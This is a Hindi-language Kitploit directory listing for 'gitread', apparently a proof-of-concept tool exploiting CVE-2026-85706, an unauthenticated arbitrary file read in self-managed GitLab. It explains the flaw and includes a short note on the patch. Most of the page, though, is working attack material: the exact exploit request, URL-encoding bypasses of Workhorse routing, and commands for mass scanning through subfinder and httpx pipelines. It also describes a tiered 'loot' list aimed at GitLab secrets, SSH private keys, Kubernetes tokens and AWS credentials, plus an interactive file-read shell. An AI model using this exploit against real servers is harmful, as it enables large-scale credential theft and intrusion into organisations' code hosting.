Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE अनधिकृत फ़ाइल पठन · oracle मोड, fd enumeration, और tiered loot targeting के साथ शोध PoC | Kitploit
उपकरण/GitHubGitHub/plur1bu5/gitread
टोहीभेद्यता विश्लेषणशोषणस्क्रिप्टिंग और स्वचालनवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubplur1bu5/gitread

gitread

117घं 57मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-85706 · GitLab CE/EE अनधिकृत फ़ाइल पठन · oracle मोड, fd enumeration, और tiered loot targeting के साथ शोध PoC

रिपॉजिटरी देखें

gitread

CVE-2026-85706 के लिए PoC, जो self-managed GitLab CE/EE को प्रभावित करने वाला unauthenticated arbitrary file read है।

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
प्रभावित18.7 से 19.1.7, 19.2.0 से 19.2.5, 19.3.0 से 19.3.1
ठीक किया गया19.1.8 / 19.2.6 / 19.3.2 (जारी 2026-09-10)
घटकRepository Commits API / Files API (Workhorse body-upload)
रिपोर्टरs3ntago via GitLab HackerOne

यह कैसे काम करता है

तीन repository API endpoints Workhorse के requestBodyUploader के पीछे बैठे हैं:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Rails handler authenticate! से पहले File.open(params['file.path']) को कॉल करता है। चार स्थितियाँ इसे exploit करने योग्य बनाती हैं:

1. Auth फ़ाइल पढ़ने के बाद चलता है। require_gitlab_workhorse! केवल Gitlab-Workhorse-Api-Request JWT header की जाँच करता है। Workhorse उस header को हर उस request पर लगाता है जिसे वह proxy करता है, जिसमें plain passthroughs भी शामिल हैं। असली authenticate! authorize_push_to_branch! के अंदर रहता है, जो तब चलता है जब file_params_from_body_upload पहले ही फ़ाइल को disk से पढ़ चुका होता है।

2. file.path सीधे request से आता है। file_params_from_body_upload params['file.path'] को बिना किसी validation के absolute path के रूप में पढ़ता है। इच्छित flow में Workhorse upload को एक temp file में लिखता है और उस param को स्वयं inject करता है। हमलावर इसे सीधे एक query string parameter के रूप में भेजता है जो filesystem पर कहीं भी इंगित करता है।

3. Workhorse route matching कभी percent-encoding को decode नहीं करता। Workhorse upload routes को EscapedPath() के विरुद्ध match करता है, जो प्राप्त किए गए raw URL bytes हैं। Puma Grape को route करने से पहले %XX sequences को decode करता है। इसलिए एक static segment में एक character encode करने पर Workhorse अपना rewrite rule छोड़ देता है जबकि Rails अभी भी vulnerable handler को route करता है:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack error response में फ़ाइल की सामग्री वापस echo करता है। Content-Type: application/x-www-form-urlencoded के साथ, फ़ाइल की सामग्री Rack::Utils.parse_nested_query को सौंपी जाती है। कोई भी bare % जिसके बाद दो hex digits न हों, InvalidParameterError: invalid %-encoding (<content>) उठाता है। फ़ाइल में पहले & तक का सब कुछ 400 body में echo हो जाता है।

बिना bare % वाली फ़ाइलें अभी भी pre-auth पढ़ी जाती हैं। urlencoded branch से 401 response और multipart branch से 500 दोनों पुष्टि करते हैं कि फ़ाइल मौजूद है और git user द्वारा पढ़ने योग्य है, जिससे वे existence oracle के रूप में उपयोगी बनती हैं।

Exploit request:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

विशेषताएँ

  • --file किसी भी एकल फ़ाइल को पढ़ता है; यदि कोई echo trigger नहीं है तो स्वतः oracle पर fall through करता है
  • --loot 7 tiers में 36 targets चलाता है, confirmed echo-trigger probability के अनुसार क्रमबद्ध
  • --oracle no-echo फ़ाइलों के विरुद्ध dual-branch probe (urlencoded + multipart) चलाता है और बताता है कि प्रत्येक readable, missing, या unreadable है
  • --proc open file descriptors खोजने के लिए /proc/self/fd/0-31 enumerate करता है, फिर मानक /proc recon targets पढ़ता है
  • --shell cat, loot, oracle, project, और curl commands के साथ interactive file-read shell में उतरता है
  • --pipe stdin से targets पढ़ता है और subfinder output, httpx text, httpx JSON, nuclei JSON, और raw host lines को संभालता है

इंस्टॉल

root@kitploit:~
pip install requests
python3 gitread.py -h

Python 3.10 या नया आवश्यक है। कोई अन्य dependency नहीं।

उपयोग

एकल target

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin स्वतः पहचाना जाता है जब यह TTY न हो, इसलिए अधिकांश मामलों में --pipe वैकल्पिक है।

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Response verdicts

Loot tiers

Flags

Exit codes: 0 leak confirmed, 1 केवल oracle या pipeline में कोई leak नहीं, 2 कुछ नहीं मिला।

Patch

master commit 0d9ce3e7 में ठीक किया गया, 1fe30154 / b43c8b26 / 0ff7b6b2 के रूप में backported।

एक ही समय में तीन चीज़ें बदली गईं:

  1. सभी तीन endpoints में authenticate! को file_params_from_body_upload से पहले स्थानांतरित किया गया ताकि unauthenticated request के लिए फ़ाइल कभी न पढ़ी जाए
  2. file.path अब केवल multipart middleware द्वारा उत्पादित typed UploadedFile object से स्वीकार किया जाता है, जिसके लिए valid Workhorse-signed JWT आवश्यक है, raw query string parameter से नहीं
  3. InvalidParameterError अब e.message को response body में interpolate नहीं करता इसलिए echo channel बंद हो जाता है भले ही कोई पहले दो fixes को पार करने का रास्ता खोज ले

यह bug GitLab 18.7 (दिसंबर 2025) में पेश हुआ जब commits API का body-upload variant जोड़ा गया।


made with love by @plur1bu5 -- if you find it useful, a star is appreciated

टूल डाउनलोड करें
  • --list एक प्रति पंक्ति targets की फ़ाइल लेता है
  • --threads concurrent bulk scanning के लिए
  • --proxy सब कुछ Burp या mitmproxy के माध्यम से route करता है
  • --raw बिना किसी decoration के raw bytes stdout पर लिखता है, फ़ाइल में pipe करने के लिए उपयोगी
  • --full एक pass में loot, oracle, और proc चलाता है
  • -o के माध्यम से JSON और JSONL report output
  • affected-range check के साथ GitLab version fingerprint
  • Windows terminal colour support
  • Verdictअर्थ
    leakफ़ाइल की सामग्री 400 body में echo हुई, read confirmed
    leak-fragparameter type error के माध्यम से आंशिक echo
    read-noechoफ़ाइल pre-auth पढ़ी गई लेकिन कोई bare % नहीं इसलिए कुछ echo नहीं हुआ
    READABLEMultipart branch ने 500 लौटाया, फ़ाइल मौजूद है और git user द्वारा पढ़ने योग्य है
    missingServer ने कहा local file मौजूद नहीं है
    rewriteWorkhorse ने body rewrite किया, यह bypass form मृत है
    norouteRails 404, instance patched है या path गलत है
    server-error500, फ़ाइल मौजूद है लेकिन parse error का कारण बनी
    Tierफ़ाइलेंEcho
    1gitlab.rb, gitlab.yml, redis.confसामग्री सीधे leak होती है
    2gitlab-secrets.json, secrets.yml, database.ymlकेवल oracle, pure hex
    3.gitlab_workhorse_secretकेवल oracle
    4SSH private keys और authorized_keysकेवल oracle
    5gitlab-shell.yml, gitaly.toml, PostgreSQL configकेवल oracle
    6Kubernetes service account token, AWS credentialsकेवल oracle
    7Hostname, hosts, passwd, os-release, environकेवल oracle
    Flagविवरण
    -t, -u, --targetएकल base URL
    --pipestdin से targets पढ़ें
    --list FILEtargets की फ़ाइल
    --file PATHपढ़ने के लिए एकल absolute path
    --lootपूर्ण 36-target loot run
    --oracleno-echo फ़ाइलों का dual-branch probe
    --proc/proc fd enumeration और recon
    --shellscan के बाद interactive shell
    --fullloot + oracle + proc
    --project-id IDauto-detect करने के बजाय project id force करें
    --forcescan करें भले ही target GitLab के रूप में fingerprint न हो
    --rawबिना decoration के raw bytes stdout पर लिखें
    --proxy URLHTTP/S proxy
    --threads Npipeline mode के लिए worker threads (default 8)
    --timeout Nप्रति-request timeout सेकंड में (default 15)
    -o FILEreport सहेजें (.json pretty array के लिए, कुछ और JSONL के लिए)
    -q, --quietकेवल hits प्रिंट करें
    -v, --verboseहर probe attempt दिखाएँ
    --no-bannerbanner दबाएँ